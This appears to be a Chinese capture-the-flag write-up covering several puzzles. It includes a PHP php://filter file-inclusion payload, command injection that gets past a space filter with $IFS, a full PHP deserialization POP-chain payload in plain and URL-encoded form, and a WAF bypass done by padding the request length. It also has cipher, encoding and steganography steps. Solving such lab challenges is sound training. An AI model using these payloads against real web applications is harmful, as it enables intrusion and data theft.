Interesting_include
好像没有限制直接?filter=php://filter/convert.base64-encode/resource=flag.php解码得到flag

加载过慢请开启缓存 浏览器默认开启
好像没有限制直接?filter=php://filter/convert.base64-encode/resource=flag.php解码得到flag

题目给了一段字符串RzQzVE1OSldJTTNER05TR0daQ0RNTkpWR0UzRFNOU0ZHWTNUTU9CV0dFM0RTTlNFR1k0VE1SSldHUTNEQz09PQ==
应该是base64解码一下得到
G43TMNJWIM3DGNSGGZCDMNJVGE3DSNSFGY3TMOBWGE3DSNSEGY4TMRJWGQ3DC===
应该是base32再解码
77656C636F6D6551696E676861696D696E6461
像是HEX,解码得到
welcomeQinghaiminda
这里提示可以执行命令,尝试输入127.0.0.1;ls,发现flag.php和index.php,直接cat flag.php
发现空格被禁止了flag也被禁止了,127.0.0.1;cat$IFS$9ls这里先执行ls再执行cat发现index.php的内容显示在下面了应该是执行成功,没看到flag打开源码查看发现flag

分析代码这里得到flag的流程应该是反序列化 -> w22m对象 ->__destruct() ->echo $this->w00m(w33m对象) ->_toString() ->$this->w00m->{$this->w22m}() ->w44m->Getflag()
然后payload:
O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"\0w44m\0admin";s:4:"w44m";s:9:"\0*\0passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}
然后url编码得到
O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
最后得到flag
``
在一个神秘的代码世界里,隐藏着一个代表好运的信息。这个信息被一种特殊的替换加密方式保护了起来。我们知道,在这个加密规则里,英文字母和数字都遵循特定的替换规律,而像 { 和 } 这样的特殊字符则保持不变。
下面给你一些已知的加密对应关系作为提示:
字母 a 加密后变成 z,b 变成 y,c 变成 x,依次类推,呈现一种对称的替换模式,就像字母表从两端向中间靠拢一样。
数字 0 加密后变成 9,1 变成 8,2 变成 7,同样是对称的替换,仿佛数字在镜子里的倒影。
Gsv_Bvzi_lu_gsv_Hmzpv_rh_zfhkrxrlfh
G-T s-h v-e
B-Y v-e z-a i-r
L-o u-f
G-t s-h v-e
H-S m-n z-a p-k v-e
R-i h-s
Z-a f-u h-s k-p r-i x-c r-i l-o f-u h-s
得到The_Year_of_the_Snake_is_auspicious

发现文件有隐藏文件binwalk分解一下发现一个加密的压缩包和一个解密成功解出密码为7Fx.,压缩包里面是分成9份的二维码重新拼上识别得到flag
flag{Congratulations on getting this question right}
根据题目上传一个flag参数可以得到包含的文件,还告诉我们flag的位置,我们
php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php
发现被禁止了,题目没有说限制条件查看一下index.php,发现if (strlen(file_get_contents(‘php://input’)) < 800 && preg_match(‘/flag/‘, $path))当payload长度小于800且有flag就会echo ‘nssctf waf!’;,这里可以把怕payload长度拉到800以上,然后解码得到flag
